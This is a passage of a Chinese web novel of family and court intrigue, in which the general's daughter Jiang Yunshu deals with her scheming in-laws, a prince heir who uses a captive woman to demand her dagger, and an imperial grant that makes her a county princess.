然而,她的哭声再凄厉,亦没有人敢上前替她说一句话,甚至还默契的往后退了一步。 官员女眷都能让随便当成舞姬,更何况他们普通百姓。 姜云舒远远看着,眉心微微蹙起,此刻,马车的纱帘落下,隔着纱帘,她似乎与那人对视了一眼,只是一瞬,她便真切的感觉到了一股强烈的危险气息。 这股气息太过明显,姜云舒原本防备的神经一下子紧绷起来,不过,以她的角度观察,这股气息似乎并非来自马车里的人。 “启程——” 随着前面侍卫一声令下,马车队再次往前走。 姜云舒回过神来,拉紧了缰绳,朝着与马车队相反的方向而去。 此刻,渊政王府车队中一人转过身来,视线望向姜云舒离开的方向,唇畔勾起玩味的笑容。 第71章 陪我进宫面圣 半个时辰后,恭王府。 姜云舒来时,陆太医正在为宋时澜诊脉。 许是路途颠簸,加之水土不服,宋时澜害喜得厉害,胎象也有些不稳。 “如今看来,这一趟回京,怕是不能陪母妃四处走动了。”宋时澜略带歉意。 恭王妃本就长于京城,原本这一趟回来,是想着四处走动走动,与昔日好友联络感情,宋时澜作为儿媳,自是要陪着,如今怕是不行了。 “哎呀,你和腹中胎儿才是最要紧,你且在王府歇息,这不是还有青鸢和阿舒,如今你什么都不要想,好好歇着才是正经。”恭王妃一脸心疼地拉着宋时澜的手。 姜云舒见两人说话,便同闵青鸢出来。 两人拉着稚儿往回走,姜云舒想了想,直接开口问,“青鸢姐姐,你可曾听说过,庄太师和我们将军府有何纠葛?” “要说当今皇上登基之前,父亲与庄太师都是朝中年轻一辈的骨干将领,听我爹说,当时两人也算是出生入死的交情,当时,庄太师还曾撮合过皇后和父亲呢,不过,父亲心里的人是母亲,这事儿便也只当个玩笑便过去了。” 自闵青鸢回到恭王府待产,她闲来无聊时便缠着老父亲与她讲那些陈年往事,本想着能从中得到一些线索,可听了好几年依旧毫无头绪。 闵青鸢蹙回答完又看向姜云舒,“你可是查到了什么?” “我刚查到,沈清安与太师府有联系,不过,如今尚不能确定这其中联系是否与我将军府有关。”姜云舒眉心始终不展。 之前也查到线索,结果到最后都被一一否认,如今这一条也浮于表面,尚且不能确定。 “别急,如今崖州一切安稳,我们有的是时间。” 闵青鸢伸手拍拍姜云舒的手,随即又想起什么,提醒道:“对了,今日渊政王府世子进京了。” “嗯,我在来时路上看到了渊政王府的车队。”姜云舒应一声。 闵青鸢看她,瞧她神情不变,又接着说:“听说这渊政王府世子一路上买了不少舞姬,原本依照行程,十日前就应该抵京,他却一路吃喝游玩,如今才到,的确嚣张得很,而且,听说他性格乖张,睚眦必报,阿舒,你可小心着点。” 到底是将军府提的退婚,在世人看来,姜云舒舍弃赫赫战功的渊政王府世子,却选择了刚入仕的探花,诉说两家和平退婚,可对于男子来说,到底是憋着一口气。 “皇城之内,天子脚下,他便是再嚣张跋扈也不能当街拿刀砍了我,更何况,咱们将军府的女子,也从来不是久居深宅的较弱女子。” 姜云舒朝闵青鸢笑了笑,随即拉起稚儿的手,“我们稚儿也长大了,开蒙习武保护姑姑好不好?” 稚儿黑溜溜的大眼睛闪了闪,伸出两节藕臂搂住姜云舒的脖子。 “保护,姑姑,打,坏人,哼!” 暮色四合,天边渐渐染上了明媚的红色调,柔和温暖。 听说沈清安进宫面圣,想来是要封赏了。 然而,姜云舒回到沈家时,刚到门口便察觉到一股沉闷的气压,就连早晨门口挂上红色灯笼也不见了。 “哟,沈大人不是进宫受封么,不知道的还以为办白事呢。” 月禾看着大门口的红色灯笼,满眼幸灾乐祸,“哼,若非咱们定国将军府托举,他哪里来的功勋!” 姜云舒挑眉朝院内看一眼,勾起唇角 “去看看,没准能瞧一场好戏。” 正厅。 姜云舒进来时,此刻各样来自宫里的赏赐,丝绸布匹,翠玉珠宝,摆了一院子,然而,众人脸上却看着那一堆东西唉声叹气,不见分毫喜色。 她挑了挑眉,抬高声音,“恭喜沈大人高升,青云直上!” 这话一出,在场众人的脸色又是一沉,尤其老夫人和高芝兰,那表情难看得都快哭出来了。 不是说还要给内宅女眷封诰命吗?怎的连皇宫都不让进了? 而且,岩城水患治理那么大的功劳,为何只赏赐了金银田地,连官职都未晋升? 眼瞧着沈家众人一脸吞了苍蝇似的表情,姜云舒只当不解,迎上去再问。 “沈大人如今官升几级?” 沈清安攥起拳头,一言不发。 他不知道哪里出现了问题,明明在回京时,听内侍太监提及,这次他会加官进爵,甚至惠及内宅,为什么什么都没了? 是姜云舒? 他有那么一瞬间的疑虑,可很快又否定了,姜云舒如何能左右皇上,更何况,因为定国将军府之事,皇上对她必定是心生厌烦的。 到底出了什么问题! 他想不明白,视线便落在姜云舒身上。 “云舒,明日你随我进宫面圣谢恩。” 谢恩不过是个由头,姜云舒如今在城外灾民安置中处理颇多,皇上以此功绩算在他头上,说不定晋升还有希望。 然而,姜云舒尚未开口,便听高芝兰忍不住惊呼一声。 “你说什么!”她瞪大眼睛,难以置信地看向沈清安,“相公,你要带她进宫?你答应我的,待你进宫述职,会向皇上请求恢复我的名分,如今你却要带姜云舒进京?” 他明明承诺过的!三年前将她和长元留在岩城时,他对天发誓,沈夫人的位置一直是她的! 质问声太过凄厉,沈清安下意识皱起了眉,眼中似有不耐。 “我与云舒进宫是商议灾民之事,你若有当家主母的觉悟,此刻应先把药材之事解决了才是正经。” 进京折腾了半月,如今,药铺没开成,甚至连药材都没了。 提及药材,高芝兰此刻看向姜云舒,一股莫名的恨意自心口腾起,噔噔噔地往上撞。 “哼,你以为我不想帮你?我好好的药材,若不是姜云舒……” 这话刚起了个头,就见姜云舒猛地转过身,冷厉的视线看向高芝兰。 “我如何?” 她那双眼睛幽深清透,却又让人一眼望不透,只是这般看着,便叫高芝兰脊背发凉。 “若不是我,你那仅剩的一车药材你都看不见,当初是你主动提出要入股我仁春堂,也是你在遇事时立马与我撇清关系,那车药材是赔偿,你不要觉得你了亏,更何况……” 她透过高芝兰看向沈清安,“即便如此,这一车的药材也是送到了京兆府,署的是沈家的名,做到如此地步,我自认为对得起沈家!” 第72章 你儿子不要你了 姜云舒眼底无波,平静的字眼出口,却如万般利刃朝沈清安逼近。 沈清安眸色灰晦暗,一时竟不敢与她对视,缓了好几个呼吸才开口。 “我知你是真心为了沈家,定然不会亏待了你。”他缓了一口气,放轻了语气,“今日你在清风村亲力亲为也累了,且回去歇着,明日一早随我进宫。” 姜云舒挑眉,不再多说,转身往外走时,余光瞥到高芝兰憋闷又慌乱的表情,心里竟没有丝毫爽快的感觉。 她不知从何时意识到,导致沈清安负了她的,并非高芝兰,即便没有高芝兰,沈家的背叛也从一开就在谋划了。 姜云舒能想明白,高芝兰却执拗在原地,等屋内清净下来,她抬手捂着脸“嘤嘤嘤”地哭。 “我不如姜云舒那般高贵出身,不能在仕途上助益夫君,原本我也不是非要这正室之位,可长元是沈家长子,出生便随我在外吃苦,相公答应要补偿长元的,如今却要让他做庶子么?” 高芝兰嘴上说不非得要正室之位,可又不能接受沈长元做庶子,更不会将沈长元交给姜云舒抚养,真真是句句不争抢,却又处处争抢。 她生得面容姣好,又善于示弱拿捏男人,尤其这一哭,更是让沈清安心疼不忍心。 沈清安伸手将高芝兰拉近身边,耐着性子安抚。 “好了,我答应过你的事,自会信守承诺,等城外灾民一事解决,我才有向皇上提及正妻归位的资格,哪怕让姜云舒做平妻,这正妻之位也是你的。” 高芝兰委屈巴巴地抽噎着。 她不说话,只是将脸埋进沈清安怀中,遮掩住泪目之下的怨恨。 从回来时的“贵妾”到如今的“平妻”,他对姜云舒的态度在逐渐改变,这可不是什么好兆头。 为了自己和长元打算,姜云舒势必不能留在沈府。 揽芳院。 月光透窗,洒落在屋内,如浣纱轻柔缥缈,衬得夜色更加静谧。 姜云舒端坐于桌案之前,手中捏着一个白色的瓷瓶轻轻摇晃,随后,手腕倾斜,绿色的汁液自瓶口蜿蜒流出,在烛火照应之下,更添了一层诡谲的神秘。 “小姐!” 此刻,月禾推门而入,到跟前急缓了一口气,这才开口,“前院沈清安和沈清睿吵起来了。” “吵?为什么吵?”姜云舒放下手中兵书,眸间多了一丝疑惑。 入沈家门三年,以她的了解,沈清睿自小就听沈清安的话,两兄弟之间很少有红脸的时候。 “是因为一个女人!” 月禾挑着眉,一脸幸灾乐祸,“是为了太常寺少卿顾家的那个庶女,顾从容,你还记得今日渊政王府世子进京时,冲到他马车前的那个女子吧,就是她。” 月禾说得这样清楚,姜云舒都不用想,脑子里便出现了顾从容那张惊恐凄惨的脸。 “所以呢?”姜云舒问。 “原来呀,那是沈二郎看重的女子,之前宴会上,他对人家一见倾心,原本想着等皇上回宫定了他的官职便下聘求娶,结果今日闹出了当街拦马车的事,沈二郎回来找沈清安想办法,老夫人和沈清安却让他另择佳偶,沈二郎不愿意,便吵了起来。” 月禾一口气说完,越说脸上越兴奋。 嘿,窝里斗,沈家越乱才越痛快! 姜云舒不说话,只将调好的汁液滴入琉璃钵中,一阵白烟腾起,刺鼻的味道散开。 她盯着琉璃钵片刻,眉心蹙起。 又失败了。 姜云舒放下手中的白瓷瓶,抬起头来,“你安排一个人盯着沈清睿,别让他做傻事。” “哈?” 月禾没看明白她调制的东西,亦没明白她的话。 “沈清睿是沈家人,小姐管他作甚!” 沈家人,没一个好东西! 姜云舒擦了擦手,端起桌上杯盏抿一口茶,“沈家人也分人和豺狼,相比之下,沈清睿还算有良心,而且,他有用。” 有用?能有什么用! 月禾不以为然,一个连她都打不过的男人,在她眼里就是废物,而且,长得也一般,实在是看不出有什么用。 不过,小姐吩咐了,她照做便是。 “我这就去安排。” 月禾应一声,急匆匆进来,又风风火火地出去。 姜云舒看着月禾离开的身影,无奈叹一口气,有时候,她还挺羡慕月禾的,做事不用考虑太多,只听从安排便好。 若是以前,有父母兄长在身边,她还能恣意随心,如今每一步都要她自己思虑周全。 很累。 此时,与姜云舒同一片月光之下的渊政王府,气氛诡异得阴沉。 白天,渊政王府的车队招摇地在京城逛了一圈,待天色擦黑才回到渊政王府。 入府时,渊政王府元太妃已经足足等了两个时辰,待看到谢无烬那张隐约映出那个人的脸,气更是不打一处来。 “见过太妃!”谢无烬上前行礼。 “你可真是好大的架子,既已到了京城,如何迟迟不回王府!”元太妃手中的拐杖狠狠戳在地上。 没听到元太妃让免礼,谢无烬便自行起了身,面上依旧是那般不以为然的神情。 “头一次回京城,不认得路。”他张口就来。 往年元太妃寿辰也只是小郡王谢怀琛回来祝寿,元太妃也从未提过让谢无烬回来,他不认得路,的确算是一个理由。 “你父王可真真是教养出了一个好儿子!” 元太妃面上神情怒意更甚,“回王府也就罢了,可你原本十日之前就该抵京,怎的拖延至今才到?” “太妃对我的行踪了如指掌,看来已经与侧妃通过消息了。” 谢无烬眉梢勾起,只是笑意不达眼底,凭空多了几分冷漠,“我的确向皇上禀报了出发的日期和时辰,却并未禀明几时到,太妃这是急什么?” “太后薨逝,你是来奔丧,如何敢在路上荒废时间!你要将我渊政王府置于何地!”元太妃气得脸色涨红。 到底是那个女人生的,忤逆张狂,从哪一处看都不如怀琛聪慧听话! 谢无烬迎着元太妃的愤怒,“噗嗤”笑出了声。 “在皇上眼里,我本狂妄之辈,太妃向来老谋深算,不会不知道我这一趟是来做质子的吧?” “你,放肆!”元太妃气得脸上肌肉颤动,抬手指着谢无烬怒骂,“你们可真是好一对父子,老子顽固,儿子狂悖,难怪你母妃不要你们!” 此话出口,谢无烬眼中笑意逐渐收敛。 “那你呢?” 他盯着元太妃,幽幽逼近,“我父王又是如何宁愿去万里之外的封地,也不愿面对你的?你的儿子,也不要你了。” 第73章 他的目的是姜云舒 阴冷的视线看得元太妃脊背发寒,出口的话更是如毒蛇吐信,叫人胆颤。 元太妃一下子白了脸,心口像是被什么戳了一下,钝痛得几乎喘不过气来。 十几年了,且不说谢无烬这个孙子,便是她亲生的儿子都未曾回来看过她一次,如谢无烬所说,她也是被抛弃的。 “是你们忤逆不孝!” 元太妃咬着牙,字字如嚼碎了自牙缝中挤出来,带着咬牙切齿的怨怼。 “那你也怪不得别人,谁叫你在他出生时没掐死他呢!” 谢无烬唇畔带着笑,可这笑容之中又透着一股诡谲的阴森之意,看得元太妃浑身僵冷,半晌没说出话来。 谢无烬也不与她多费唇舌,冷笑一声,转身往外走。 待他离开,元太妃好半晌才回过神来,她握紧了拐杖扭头看向身边的安嬷嬷。 “他该不会知道了什么吧!”元太妃眼中带着难以遮掩的惊恐。 即便早听说她这个孙子性格乖戾,阴晴不定,可如今面对面,他的气场让她有种抓不住的慌乱。 “太妃是被世子气着了。” 安嬷嬷紧忙端来热茶安慰,“离京之前,王妃是发过誓的,王爷让世子回京,定然不能让他知道那件事,否则……” 话说一半,安嬷嬷突然顿了一下,见元太妃看她,又接着说:“您是太妃,就算世子目无尊长,也不敢在天子脚下对太妃如何,您放心便是。” 安嬷嬷这话说得没底,可太妃听着却是安心了些。 没错,哪怕他是恶鬼,天子脚下,他还敢虐杀长辈不成? 渊政王府,云水园。 谢无烬特意挑选了一处距离元太妃最远的院子。 眼下仆人已经将庭院收拾妥当,谢无烬倚在软塌边上闭目,耳朵倏然动了一下,睁开眼,是卫临风。 “世子,那批舞女已经安置妥当,只是,元太妃嫌吵闹,让把她们送出去。” 说着话,卫临风将整理好的人名册送到谢无烬跟前。 “她再多嘴,便将那群女人安置在她隔壁。” 谢无烬随手翻了翻,视线落在最后一页的“顾从容”上,唇角勾起,“将今日拦马车的那个带过来。” 卫临风顿了一下,应声往外走。 一炷香后,啜泣声自庭院一路到门口,顾从容是被侍卫架着进来的。 将人带进来,侍卫转身出去关了门,此刻屋内只剩谢无烬和顾从容。 “你,你不要过来!” 顾从容惨白着一张脸,见谢无烬靠近,一把拽下头上的发簪,抵在自己脖颈上。 “威胁本世子?”谢无烬半眯着眼睛,笑意讽刺,“你觉得,死一个女人,本世子会在意?” 顾从容愣住。 他的确不在意。 听说这渊政王府世子在战场如恶鬼煞神一般,双手染尽鲜血,便是无辜百姓,他也是一声令下便屠了城。 这样一个夜叉,怎会在意她区区一条命? 此时,绝望迅速在四肢百骸蔓延,顾从容仿佛被抽了力气,跪倒在地。 “世子,我真的是无意冲撞你,求求你,放我回去吧……”她哭得声音颤抖。 谢无烬站在她面前,居高临下地看着这个缩成一团的女人。 “当时那般场景推断,你应是被家人推出来的,那个场合,推你之人便是要让你死,你死了,正合她的意。” 头顶的声音传来,顾从容猛然抬头。 他说得没错,当时正站在她身后的,是她的嫡姐,她还听到嫡姐让她去死的声音。 “我,我不想死,我想回去……求世子放过我。”顾从容一边说着便往地上磕头。 “本世子可以不为难你。”谢无烬抬手拦住她磕头的动作,“不过,作为交换,你也要帮本世子做一件事。” 听得事情有转机,顾从容紧忙抬起头来,慌乱点头。 “我答应,只要世子放过我!” “起来吧。” 谢无烬转身回到桌边,抬手在桌上摆放的笔墨纸砚边点了点,“给沈清睿去一封信,让他拿姜云舒的百辟赤冥刃来换你。” “这……”顾从容的表情再次僵住,眼神之间莫名多了一丝慌乱。 他不是刚来京城吗,如何知道她与沈清睿的关系? 此时他又点名要的是姜云舒的东西,这其中究竟有什么联系,他又是何种目的? “沈清睿受惠于姜云舒帮衬才一路走到现在,我不能陷他于不仁不义。” 说完,顾从容紧张地咬住嘴唇,极力压制浑身的颤抖。 “呵,看不出,你倒是挺有气节。” 谢无烬微微侧身,眼尾含笑地诱导她,“放心,一个物件而已,不过是因为珍奇稀罕,引得众人心之向往,对姜云舒构不成任何威胁,更何况,你家人既不可信任,往后日子更要慎重,一封信便可帮你测试那沈家二郎是否值得托付,要不要赌一把?” 一封信,不仅可以测试沈清睿对顾从容的真心,还能测出姜云舒对沈家还有没有留恋。 顾从容看不透谢无烬的打算,但最后这句话的确让她动了心。 嫡姐当众将她推到了谢无烬面前,不管她是不是被陷害,顾家都不敢上门要人,更何况,一个被当成舞姬带走的女子即便回了娘家,等着她的也不会再有好日子。 “好,我写,可若我赌输了,还请世子殿下赏我一个全尸。”顾从容咬着牙。 沈府,揽芳院。 清晨的春季明媚清凉,阳光透过床前的树梢落在地上,光影交错。 姜云舒倚在软塌看账目,忽而听得外面传来吵闹声,确切来说,是月禾在训斥什么人。 她起身出门,到了跟前才看清,竟是沈清睿。 此刻沈清睿像是被抓了什么短,面上紧张又尴尬。 “怎么了?”姜云舒问。 “我……” 沈清睿一张脸纠结得都快扭曲了,张张嘴吐出一个字便憋住,最后一咬牙,转身往外走。 “给我站住!”姜云舒冷喝一声。 月禾快步上前,挡住沈清睿的去路,视线在他身上打量。 “二公子,你怕不是偷摸从我揽芳院拿了什么东西吧?” “怎么会!” 沈清睿立刻瞪大眼睛,连连摆手,“我怎么可能做出偷窃之事,我只是……” 话说一半,他抬头看了姜云舒一眼,又住了嘴。 这支支吾吾的态度,让姜云舒眸间生出一丝不悦,她沉了一口气,再开口。 “沈清睿,我再问一遍,到底什么事。” 第74章 不是亲生的 听姜云舒语气严肃,沈清睿到底还是如实说了。 “我收到了从容的来信。”说着,他从腰间取出一封信交给姜云舒。 在姜云舒看信时,沈清睿说了他和顾从容的关系。 其实,他原本是想在上门提亲之前告诉姜云舒他有了想守护的姑娘,还想请姜云舒以长嫂的身份上顾家提亲,却不想期间发生了这么多事。 尤其,在沈清安带着高芝兰回来,全家背刺姜云舒时,他已经不知道如何向姜云舒开口了。 此刻姜云舒看完信,原本平静的面上多了几分沉冷。 她看得明白,这封信表现是顾从容向沈清睿的求救,实则是谢无烬对姜云舒的要挟。 “这渊政王府世子果真恶劣!”姜云舒忍不住叹一声。 月禾站在旁边,余光也瞥到了信里的内容,她能明白姜云舒为何说谢无烬恶劣,但是没明白他要百辟赤冥刃的意图。 要说世间名贵兵器,渊政王府并不比定国将军府少,这谢世子不至于盯着一柄短匕首不放吧? 更何况,这百辟赤冥刃可是女款。 姜云舒抬头,就见月禾和沈清睿一脸茫然地看着她,无奈叹一口气。 “这百辟赤冥刃是我爹自凌月国皇室得来的战利品,原是凌月国皇帝送给皇后的定情信物,如今谢无烬向我讨要,大概是为了以此离间我与沈清安的夫妻感情,想来是为了报复我退婚一事吧。” 知道谢无烬睚眦必报,却不想这睚眦必报的方式竟是这般。 “啧,战场上那么大个战神,竟长了这么小个心眼儿!”月禾忍不住啧啧出声。 只是这谢世子还不知道,自沈清安回来,小姐和他早已经离了心,不过…… 月禾看向沈清睿,杏眸一瞪,“你的事情,亲生的兄长不管你,凭什么认为我家小姐会管?” 一句话,问得沈清安哑然。 若是从前,以长嫂如母之名求姜云舒帮忙,沈清睿还能心安理得,可如今,他沈家对姜云舒背叛欺瞒,恶心事做尽,哪怕他从未参与其中,亦没脸开这个口。 “我,我原本以为那百辟赤冥刃只是一件兵器,没想到还有这个来历,如此……我会另想办法,姜嫂嫂不必为难。” 说着,朝姜云舒行了一礼,转身就要走。 “站住。” 姜云舒叫住他,随即朝月禾吩咐,“去拿过来吧。” “小姐?”月禾瞪大眼睛。 “不管有没有百辟赤冥刃,我与沈清安之间都不可能再恢复如初,倒是二郎难得有情有义,若这把匕首能成全他与顾从容一对良缘,也算值了。” 这话是对着月禾说的,但字字句句入了沈清睿的耳,让他一下子红了眼眶。 “不行,姜嫂嫂,我知道你心地善良,可明知那渊政王府世子做局,我怎么能以你为代价……” “你既一心想救顾从容出来,就应该知道,昨晚已经有舞姬自渊政王府后门抬了出去,不管出于何种目的,谢无烬能让顾从容送信来,那便是给她留了生路,人还活着,便有机会。”姜云舒声音沉冷。 “我……”沈清睿眼神闪了闪,扑通一声跪在了地上,朝姜云舒磕头,“我一辈子记得姜嫂嫂对我的恩情!” 话说到这个份儿上,月禾再不情愿也还是将百辟赤冥刃拿了过来。 “呐,给你吧,你可要知道,即便不是谢世子做局,这匕首也是价值连城的,你这辈子都还不起!”月禾没好气地将匕首塞进了沈清睿手里。 沈清睿双手拿着匕首,仿佛举着一座大山,他低头看了一眼,却又将匕首送到姜云舒跟前。 “不,不是我,信的背面写着,三日后渊政王府老太妃的寿辰,届时请姜嫂嫂参加宴会时再将百辟赤冥刃交给他。” 姜云舒眸光一滞,再看向手中的信,果然在最后夹层中看到了一张请帖。 “看来,这谢世子是真的不打算放过我呢。”姜云舒唇畔勾起一个自嘲的笑容,随即接回百辟赤冥刃,“行,届时我会参加。” “多谢姜嫂嫂!” 沈清睿于心不忍又千恩万谢的离开了,等他出了院子,月禾一脸不情愿地看向姜云舒。 “小姐,我不明白,即便沈清睿比他大哥有良心,但他到底也是沈家人,你何必为沈家人做到这种程度,我们又不欠谁,届时爽快利落地离开不好吗?” 姜云舒的视线盯在那张邀请帖上,似是思量了许久。 “月禾,你有没有发现,沈家老夫人对她这两个儿子的态度明显不同?” 姜云舒微微歪着头看向月禾,见她摇头,接着说:“老夫人倾尽所有让沈清安读书,却不管沈清睿,任由他上山下河上树掏鸟,虚度光阴。” “我们年幼时也上山下河上树掏鸟,还在冬天进山捕熊呢!”月禾不以为然。 姜云舒:“……” 这反驳听得她忍不住想敲这傻丫头的头。 她自是舍不得打的,只能耐心给她解释。 “我们那是试练考核,最起码到如今,我们武功和领兵能力是有所成的,沈清睿却文不成武不就,若非这两年安排他去庄子上训练磨合,即便是我,也无法将他送到皇城侍卫的队伍中去,而且,即便沈清睿做到了正六品带刀侍卫,老夫人的眼睛里看到的也一直是沈清安,甚至,两人同样是膝盖受损,老夫人日日看望的也是沈清安,对于沈清睿只是让吉祥送了一趟药,便再没过问。” 月禾听得蹙起了眉,原以为,老夫人不紧张沈清睿是因为他皮糙肉厚大大咧咧,如今经小姐这样一说,老夫人的态度的确不对劲。 即便长子让她长了脸,这次子再平凡也是她身上掉下来的肉啊,更何况,沈清睿也不差。 “难不成,沈清睿不是她亲生的?”月禾恍然,似是想明白什么,可这想法一闪而过,又被她自己否了,“不对不对,沈家老爷子只有她一个正室夫人,也没有妾室啊。” “可如果,沈清睿连沈家的孩子都不是呢?”姜云舒在她纠结时,不失时机地添了一句。 第75章 封为县主 “这,这么邪乎?”月禾表情更加夸张。 虽说沈家这老太太礼佛,可也不是那般慈悲为怀之人,尤其沈清安和沈清睿只相差两岁,她身边有亲生儿子的情况下,哪里还有精力再养一个? “还不能确定,我已经让冥风去查了。”姜云舒淡然开口。 若查到的线索果真能印证她的猜测,那沈清睿不失为一把刺向沈家的好刀。 两人还没商量出个结果,就听白芷在门外通报,沈大人身边的子固来了。 “夫人,今日入宫面圣,大人的马车已经在门口等着了。” 小厮不得进内院,子固只能在外面回话。 姜云舒扭头朝门外瞧一眼,脸色不着痕迹地沉了几分。 她倒是忘了,今日要随沈清安入宫。 她其实有些想不通,沈清安升官封赏已经落实,为何着急带她进宫。 “知道了,这便过去。”姜云舒不轻不重地应了一句。 一炷香后,一辆装潢奢华的马车自沈府大门离开,一骑绝尘朝着皇宫的方向飞奔而去。 马车上,沈清安与姜云舒面对面坐着,两人都不说话,气氛一时有些尴尬。 眼神在姜云舒脸上瞟过几次,沈清安终于先开了口。 “这次灾民收容之事,你做得很好。”他讪讪开口。 “嗯,我知道。”姜云舒瞥了他一眼,很快又收回眼神。 多看他一眼都觉着委屈了自己。 沈清安:“……” 她这么擅长把天聊死吗。 “我知道,当初让你交出中馈,你心中有怨,可你也知道,母亲是有些虚荣心的,当初她瞧见工部侍郎府上的老夫人当家做主很是羡慕,这才想着在你与芝兰面前耀武扬威一番,她你年纪大了,你切莫要置气。”沈清安一边说着,小心翼翼地观察姜云舒的表情。 姜云舒原本面无表情,听他这话,唇角不着痕迹地动了一下。 呵,如今倒将事情都归在老夫人身上?虽说也的确有其中部分原因,可如今沈清安这话,还真是挺不要脸的。 见她不应,沈清安脸上快速闪过一抹尴尬,但还是压住了性子。 “你放心,待城外灾民一事解决,沈家中馈还是要交到你手上的,毕竟你……” “高夫人的药铺不开了?”姜云舒突然开口打断他。 她眸光清亮地看着他,只是询问,却让沈清安一下子涨红了脸。 姜云舒可不管他脸色好看不好看,又接了一句,“你知道的,我可没有用来为沈家创收的店铺。” 这话说得很直接明了,姜云舒是不可能为了沈家倾尽所有,甚至,自中馈交出去的那一刻,她便不会再为沈家付出分毫。 沈清安被揶揄,为掩饰尴尬,只能讪笑接话,“这次皇上封赏之中,除了良田百亩,还有十几处店铺,我相信你的能力,我们沈家自会越来越好。” 原本激奋人心的话,可听在姜云舒耳朵里,只剩可笑。 他该不会以为在这寸土寸金的京城,良田百亩和十几间铺面便能撑起高门官员的花销吧? 要知道,姜云舒的铺面可是论街算的。 她伸手自面前点心匣子里捻起一块开口酥,就着清甜的茶水送下,这才接了话。 “其实老夫人说得挺对的,这三年里,我操持沈家的确很累,我想休息了,而且,听说高夫人在岩城做生意也很有一套,想来沈大人的良田和店铺教给她,也能蒸蒸日上。” 姜云舒的拒绝之意再明显不过。 她的确是要拿回中馈,但是要沈清安求着她拿回去。 沈清安抬头,见姜云舒偏过脸看向车窗之外,只当她是委屈怄气,心中竟名生出一丝欣喜。 她觉得委屈,是不是说明,心里其实是想让他关心哄哄的? “我知道当时让你受了委屈,但你放心,我……” “小姐,皇宫到了!” 此时,月禾不适时宜的声音传来,打断了沈清安的话。 沈清安蹙眉,不悦地掀开车帘,忽然回过神来,的确是到皇宫了。 回过神来时,姜云舒已经自行下了马车,沈清安气闷地蹙了蹙眉,跟着下了马车。 两人进宫谢恩,与皇宫门口的管事太监说清楚,便有内侍公公带着往御书房去。 端庄肃穆的御书房,此刻皇上正在批阅奏折。 自皇陵回归,尚来不及休息,便着手锦州灾民一事,不得不承认,他的确是一个好皇帝。 “参见皇上。” 两人同时上前行跪拜礼。 听闻声音,皇上这才抬起头来,威严眉目之间,视线在姜云舒和沈清安身上扫过。 “起来吧。” 皇上停下手中笔,严肃的面上缓和几分,“近日锦州灾民安置一事,你们提早反应,尤其扼制了疫病扩散,实乃大功一件。” 这夸奖直截了当,没有任何修饰。 姜云舒眉梢微挑,似是意识到,这称赞之后另有深意,不过,还不等她想明白,就见沈清安朝皇上又行一礼。 “为皇上分忧乃臣之本分。” 皇上眼皮掀了掀,视线扫过沈清安,随即落在姜云舒身上。 “听说,你在清风林建造房屋,安置了灾民?” “是。” 姜云舒应声,抬头见皇上等她后面的话,又继续道:“成婚之前,曾听爹爹提及,清风林原是麒麟卫的训练场地,之后皇上便将那片林子送给了爹爹,既是皇上赏赐,如今用作灾民安置,再合适不过。” 皇上贴身的麒麟卫,还是定国将军府亲自挑选训练出来的。 “嗯,难得你还记得,既如此,朕便封你为乐安县主,清风村乃至城南清风林周边千亩地界划为封地,如何?”皇上看着姜云舒。 这话一出,姜云舒当时楞了一下。 呵,原来是在这儿等着她呢! 怪不得急着让她进宫,原来不是沈清安急,而是皇上急。 不过,皇室宗亲县主不在少数,可有封地的县主,从来没有。 “哎哟,县主还不赶快谢恩!”一旁的明德公公见她没动静,开口提醒。 “姜云舒叩谢皇恩!”姜云舒回过神来,紧忙拜谢。 沈清安更是震惊,待回过神来,脸色一下子变得难看。 封姜云舒为县主,还赏赐封地,这意思,清风村与他没有任何关系?那之前不是白忙活了? 第76章 你不配 思及此,沈清安瞬间一脸不甘心,眼神流转之间正要开口,却见皇上将一本册子递到姜云舒跟前。 “如此,清风村便交由你全权掌控,你之前准备送往户部的粮食亦直接送到清风村即可。” 说着,明德公公将县主令牌送到姜云舒跟前。 清风村交给姜云舒,便不必事事过他这里了。 姜云舒接过来,目光瞟到哪县主令牌上的“乐安县主”四个字上,双唇不着痕迹地抿了一下。 果然,皇上的算盘是提前打好的,若是正常流程,这县主令牌本应是在册封之后半月才制作腰牌,哪有当时封了就给令牌的? “是。”姜云舒应声。 提及粮食,沈清安脸上又是一僵,之前他本想借着清风村为自己谋功劳,便让人从沈家调取粮食送到清风村,如今这功劳都成姜云舒的了? 压住满腔不甘心,沈清安腆着脸开口,“皇上放心,臣一定协助云舒安置好灾民。” 嗯,功劳是自己揽的,定然要让皇上知道他也为清风村做了贡献。 这话终于引得皇上注意,然而,皇上也只是看了他一眼。 “沈卿目前有更为重要之事。” 说着,皇上点了点桌案上的几张图纸,“限你在十日之内,完成锦州堤坝修筑方案。” 岩城那么大的工程都能完成,如今锦州这堤坝修筑任务交给他再在合适不过。 “我……”沈清安心中猛然一颤。 他是修筑了岩城堤坝,可那构件图和施工方案都来源于姜云舒的父兄,锦州地理位置与岩城不同,这设计自然也不能照搬。 正慌乱着,他抬头冷不丁与皇上对上视线,紧忙低下头。 “是,臣遵旨。”沈清安双腿一曲跪在地上。 “嗯,你们退下吧。”皇上摆摆手。 姜云舒和沈清安拜别皇上,自御书房出来,两人表情各有纠结。 沈清安是忧于修筑堤坝,姜云舒则是思量皇上此刻这册封深处的意义。 伴君如伴虎,帝王心深似海。 两人正想着,抬头就见芷妃在宫女搀扶下朝这边走来。 “参见芷妃娘娘!” 两人上前行礼。 “起来说话。” 芷妃停下脚步,目光直接越过沈清安,看向姜云舒。 “听说,这次城门灾民安置,你又立了功?” 想来冷厉嚣张的芷妃,此刻看向姜云舒的目光亦带着赞赏。 原本,她与姜云舒她娘是互看不爽的,可又是何时看姜云舒顺眼了呢? 她自己也不清楚,但这会儿看姜云舒这张脸就是心里顺畅,这丫头会长啊,比她娘模样清秀,比她爹神采更胜。 “父母自小教诲我要以百姓为重,我身居京城,为皇上分忧亦是我应该的。”姜云舒回答。 “你倒是会说话,为皇上分忧,的确是应该的,但功劳是你自己挣的,便要多为自己着想,别像上次一样,替皇上挡了剑,拿命博来的功劳却想着为一个负心汉做铺路石,也不看看他值不值得!” 说着,芷妃的余光朝沈清安瞥。 沈清安当然听得出芷妃是在骂他,可人家是皇妃,他只能听着,一时间,憋得脸色涨红。 姜云舒面上倒是没什么变化,只行一礼,应了一声“是”。 “行了,没事便退下吧。” 芷妃摆摆手,慢慢悠悠朝御书房去。 等芷妃的身影自转角处消失,沈清安忽然转过身,一脸激动地望向姜云舒。 “方才芷妃说,你为皇上挡了一剑?” 他瞪大眼睛望着姜云舒,不知道还以为他有多关心。 